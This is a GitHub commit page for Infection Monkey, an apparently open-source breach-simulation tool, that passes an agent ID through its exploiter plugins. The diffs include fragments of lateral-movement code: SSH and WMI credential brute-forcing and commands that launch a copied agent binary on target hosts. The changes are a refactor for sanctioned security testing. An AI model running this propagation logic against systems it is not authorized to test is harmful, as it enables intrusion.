Skip to content

Commit

Permalink
Merge branch '3119-pass-agent-id-to-exploiters' into develop
Browse files Browse the repository at this point in the history
Issue #3119
PR #3153
  • Loading branch information
mssalvatore committed Mar 28, 2023
2 parents e4a43fa + eac038d commit 876d06b
Show file tree
Hide file tree
Showing 21 changed files with 97 additions and 46 deletions.
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
from typing import Sequence

from common import OperatingSystem
from common.types import AgentID
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import TargetHost
from infection_monkey.model import MONKEY_ARG
Expand Down Expand Up @@ -39,12 +40,13 @@


def build_hadoop_command(
agent_id: AgentID,
target_host: TargetHost,
servers: Sequence[str],
current_depth: int,
agent_download_url: str,
) -> str:
monkey_cmd = build_monkey_commandline(servers, current_depth + 1)
monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1)

if OperatingSystem.WINDOWS == target_host.operating_system:
base_command = HADOOP_WINDOWS_COMMAND_TEMPLATE
Expand Down
10 changes: 8 additions & 2 deletions monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
import logging
from typing import Callable, Sequence

from common.types import Event, NetworkPort, NetworkService, PortStatus
from common.types import AgentID, Event, NetworkPort, NetworkService, PortStatus
from infection_monkey.exploit.tools import HTTPBytesServer
from infection_monkey.exploit.tools.web_tools import build_urls
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
Expand All @@ -19,9 +19,11 @@
class HadoopExploiter:
def __init__(
self,
agent_id: AgentID,
hadoop_exploit_client: HadoopExploitClient,
start_agent_binary_server: AgentBinaryServerFactory,
):
self._agent_id = agent_id
self._hadoop_exploit_client = hadoop_exploit_client
self._start_agent_binary_server = start_agent_binary_server

Expand Down Expand Up @@ -54,7 +56,11 @@ def exploit_host(
return ExploiterResultData(error_message=msg)

command = build_hadoop_command(
target_host, servers, current_depth, agent_binary_http_server.download_url
self._agent_id,
target_host,
servers,
current_depth,
agent_binary_http_server.download_url,
)
logger.debug(f"Command: {command}")

Expand Down
4 changes: 3 additions & 1 deletion monkey/agent_plugins/exploiters/hadoop/src/plugin.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,9 @@ def __init__(
tcp_port_selector=tcp_port_selector,
)

self._hadoop_exploiter = HadoopExploiter(hadoop_exploit_client, agent_binary_server_factory)
self._hadoop_exploiter = HadoopExploiter(
agent_id, hadoop_exploit_client, agent_binary_server_factory
)

def run(
self,
Expand Down
1 change: 1 addition & 0 deletions monkey/agent_plugins/exploiters/smb/src/plugin.py
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,7 @@ def run(

command_builder = partial(
build_smb_command,
self._agent_id,
servers,
current_depth,
remote_agent_binary_destination_path=get_agent_dst_path(host),
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,14 @@

from common import OperatingSystem
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.types import AgentID
from infection_monkey.exploit import IAgentOTPProvider
from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, MONKEY_ARG, SET_OTP_WINDOWS
from infection_monkey.utils.commands import build_monkey_commandline


def build_smb_command(
agent_id: AgentID,
servers: Sequence[str],
current_depth: int,
operating_system: OperatingSystem,
Expand All @@ -31,6 +33,7 @@ def build_smb_command(
cmdline = (
f"{CMD_PREFIX} {otp} start cmd /c {str(remote_agent_binary_full_path)} {DROPPER_ARG}"
+ build_monkey_commandline(
agent_id,
servers,
current_depth + 1,
str(remote_agent_binary_destination_path),
Expand All @@ -39,7 +42,7 @@ def build_smb_command(
else:
cmdline = (
f"{CMD_PREFIX} {otp} start cmd /c {str(remote_agent_binary_full_path)} {MONKEY_ARG}"
+ build_monkey_commandline(servers, current_depth + 1)
+ build_monkey_commandline(agent_id, servers, current_depth + 1)
)

return cmdline
10 changes: 6 additions & 4 deletions monkey/infection_monkey/exploit/HostExploiter.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,12 +6,11 @@

from common.agent_events import ExploitationEvent, PropagationEvent
from common.event_queue import IAgentEventQueue
from common.types import Event
from common.types import AgentID, Event
from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit import IAgentOTPProvider
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
from infection_monkey.network import TCPPortSelector
from infection_monkey.utils.ids import get_agent_id

from . import IAgentBinaryRepository

Expand All @@ -35,6 +34,7 @@ def _PROPAGATION_TAGS(self) -> Tuple[str, ...]:
pass

def __init__(self):
self.agent_id = None
self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE,
"started": "",
Expand Down Expand Up @@ -70,6 +70,7 @@ def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash=

def exploit_host(
self,
agent_id: AgentID,
host: TargetHost,
servers: Sequence[str],
current_depth: int,
Expand All @@ -80,6 +81,7 @@ def exploit_host(
interrupt: Event,
otp_provider: IAgentOTPProvider,
):
self.agent_id = agent_id
self.host = host
self.servers = servers
self.current_depth = current_depth
Expand Down Expand Up @@ -140,7 +142,7 @@ def _publish_exploitation_event(
error_message: str = "",
):
exploitation_event = ExploitationEvent(
source=get_agent_id(),
source=self.agent_id,
target=self.host.ip,
success=success,
exploiter_name=self.__class__.__name__,
Expand All @@ -158,7 +160,7 @@ def _publish_propagation_event(
error_message: str = "",
):
propagation_event = PropagationEvent(
source=get_agent_id(),
source=self.agent_id,
target=self.host.ip,
success=success,
exploiter_name=self.__class__.__name__,
Expand Down
8 changes: 7 additions & 1 deletion monkey/infection_monkey/exploit/exploiter_wrapper.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
from typing import Dict, Sequence, Type

from common.event_queue import IAgentEventQueue
from common.types import Event
from common.types import AgentID, Event
from infection_monkey.i_puppet import TargetHost
from infection_monkey.network import TCPPortSelector

Expand All @@ -21,11 +21,13 @@ class Inner:
def __init__(
self,
exploit_class: Type[HostExploiter],
agent_id: AgentID,
event_queue: IAgentEventQueue,
agent_binary_repository: IAgentBinaryRepository,
tcp_port_selector: TCPPortSelector,
otp_provider: IAgentOTPProvider,
):
self._agent_id = agent_id
self._exploit_class = exploit_class
self._event_queue = event_queue
self._agent_binary_repository = agent_binary_repository
Expand All @@ -42,6 +44,7 @@ def run(
):
exploiter = self._exploit_class()
return exploiter.exploit_host(
self._agent_id,
host,
servers,
current_depth,
Expand All @@ -55,11 +58,13 @@ def run(

def __init__(
self,
agent_id: AgentID,
event_queue: IAgentEventQueue,
agent_binary_repository: IAgentBinaryRepository,
tcp_port_selector: TCPPortSelector,
otp_provider: IAgentOTPProvider,
):
self._agent_id = agent_id
self._event_queue = event_queue
self._agent_binary_repository = agent_binary_repository
self._tcp_port_selector = tcp_port_selector
Expand All @@ -68,6 +73,7 @@ def __init__(
def wrap(self, exploit_class: Type[HostExploiter]):
return ExploiterWrapper.Inner(
exploit_class,
self._agent_id,
self._event_queue,
self._agent_binary_repository,
self._tcp_port_selector,
Expand Down
5 changes: 3 additions & 2 deletions monkey/infection_monkey/exploit/log4shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -136,7 +136,9 @@ def _build_ldap_payload(self) -> str:

def _build_command(self, path: PurePath, http_path) -> str:
# Build command to execute
monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1, location=path)
monkey_cmd = build_monkey_commandline(
self.agent_id, self.servers, self.current_depth + 1, location=path
)
if OperatingSystem.WINDOWS == self.host.operating_system:
base_command = LOG4SHELL_WINDOWS_COMMAND
else:
Expand All @@ -161,7 +163,6 @@ def exploit(self, url, command) -> None:
for exploit in get_log4shell_service_exploiters():
intr_ports = interruptible_iter(self._open_ports, self.interrupt)
for port in intr_ports:

logger.debug(
f'Attempting Log4Shell exploit on for service "{exploit.service_name}"'
f"on port {port}"
Expand Down
2 changes: 1 addition & 1 deletion monkey/infection_monkey/exploit/mssqlexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -205,7 +205,7 @@ def _run_agent(self, agent_path_on_victim: PureWindowsPath):

def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline(
self.servers, self.current_depth + 1, str(agent_path_on_victim)
self.agent_id, self.servers, self.current_depth + 1, str(agent_path_on_victim)
)

return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
13 changes: 7 additions & 6 deletions monkey/infection_monkey/exploit/powershell.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
from common.types import NetworkPort, PortStatus
from common.types import AgentID, NetworkPort, PortStatus
from common.utils.environment import is_windows_os
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
Expand Down Expand Up @@ -127,8 +127,7 @@ def _authenticate_via_brute_force(
self, credentials: List[Credentials], auth_options: List[AuthOptions]
) -> Optional[IPowerShellClient]:
creds_opts_pairs = filter(self.check_ssl_setting_is_valid, zip(credentials, auth_options))
for (creds, opts) in interruptible_iter(creds_opts_pairs, self.interrupt):

for creds, opts in interruptible_iter(creds_opts_pairs, self.interrupt):
try:
client = PowerShellClient(str(self.host.ip), creds, opts)
connect_timestamp = time()
Expand Down Expand Up @@ -191,7 +190,6 @@ def _execute_monkey_agent_on_victim(self):
)

def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: PurePath):

temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}")

self._create_local_agent_file(temp_monkey_binary_filepath)
Expand All @@ -212,16 +210,19 @@ def _create_local_agent_file(self, binary_path):

def _run_monkey_executable_on_victim(self, executable_path):
monkey_execution_command = build_monkey_execution_command(
self.servers, self.current_depth + 1, executable_path
self.agent_id, self.servers, self.current_depth + 1, executable_path
)

logger.info(f"Attempting to execute the monkey agent on remote host " f"{self.host.ip}")

self._client.execute_cmd_as_detached_process(monkey_execution_command)


def build_monkey_execution_command(servers: List[str], depth: int, executable_path: str) -> str:
def build_monkey_execution_command(
agent_id: AgentID, servers: List[str], depth: int, executable_path: str
) -> str:
monkey_params = build_monkey_commandline(
agent_id,
servers,
depth=depth,
location=executable_path,
Expand Down
6 changes: 2 additions & 4 deletions monkey/infection_monkey/exploit/sshexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,6 @@
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.ids import get_agent_id
from infection_monkey.utils.threading import interruptible_iter

logger = logging.getLogger(__name__)
Expand Down Expand Up @@ -141,7 +140,6 @@ def exploit_with_login_creds(self, port: NetworkPort) -> paramiko.SSHClient:
)

for user, current_password in credentials_iterator:

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

Expand Down Expand Up @@ -239,7 +237,7 @@ def _propagate(self, ssh: paramiko.SSHClient):

try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
timestamp = time()
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
Expand All @@ -264,7 +262,7 @@ def _is_port_open(self, ip: IPv4Address, port: NetworkPort) -> bool:
is_open, _ = check_tcp_port(ip, port)
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
self.agent_event_queue.publish(
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
TCPScanEvent(source=self.agent_id, target=ip, ports={port: status})
)

return is_open
Expand Down
6 changes: 4 additions & 2 deletions monkey/infection_monkey/exploit/web_rce.py
Original file line number Diff line number Diff line change
Expand Up @@ -352,15 +352,17 @@ def execute_remote_monkey(self, url, path, dropper=False):
if default_path is False:
return False
monkey_cmd = build_monkey_commandline(
self.servers, self.current_depth + 1, default_path
self.agent_id, self.servers, self.current_depth + 1, default_path
)
command = RUN_MONKEY % {
"monkey_path": path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_cmd,
}
else:
monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1)
monkey_cmd = build_monkey_commandline(
self.agent_id, self.servers, self.current_depth + 1
)
command = RUN_MONKEY % {
"monkey_path": path,
"monkey_type": MONKEY_ARG,
Expand Down
5 changes: 2 additions & 3 deletions monkey/infection_monkey/exploit/wmiexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,6 @@ class WmiExploiter(HostExploiter):
@WmiTools.impacket_user
@WmiTools.dcom_wrap
def _exploit_host(self) -> ExploiterResultData:

creds = generate_brute_force_combinations(self.options["credentials"])
intp_creds = interruptible_iter(
creds,
Expand All @@ -49,7 +48,6 @@ def _exploit_host(self) -> ExploiterResultData:
)

for user, password, lm_hash, ntlm_hash in intp_creds:

creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}")

Expand Down Expand Up @@ -130,14 +128,15 @@ def _exploit_host(self) -> ExploiterResultData:
cmdline = DROPPER_CMDLINE_WINDOWS % {
"dropper_path": remote_full_path
} + build_monkey_commandline(
self.agent_id,
self.servers,
self.current_depth + 1,
DROPPER_TARGET_PATH_WIN64,
)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {
"monkey_path": remote_full_path
} + build_monkey_commandline(self.servers, self.current_depth + 1)
} + build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1)

# execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(
Expand Down
Loading

0 comments on commit 876d06b

Please sign in to comment.